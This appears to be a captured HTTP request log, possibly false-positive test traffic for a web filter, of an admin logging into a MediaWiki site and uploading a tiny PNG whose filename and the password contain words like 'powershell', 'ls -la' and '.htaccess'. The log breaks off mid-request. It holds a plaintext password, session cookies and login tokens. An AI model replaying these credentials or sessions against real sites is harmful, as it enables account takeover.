{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "POST", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=cc579f5a6afe54fa22c977aa9653ff9b6af23587%2B%5C"}
{"method": "GET", "target": "/index.php/Main_Page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=13uqb", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=qubw6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1181", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeLnH26h8zIQRGLCj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\u00109\u0011\u0005\u0000\u0002*\u00017\u0018t^\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_python3.png\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on python3\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nd0c9492d81be1a4d301463aa0c48b3dd6af23588+\\\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/images/0/09/Notes_on_python3.png?_=20261109210514", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=c2gfg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20powershell.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIeCXSkQvVQPCIc8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": 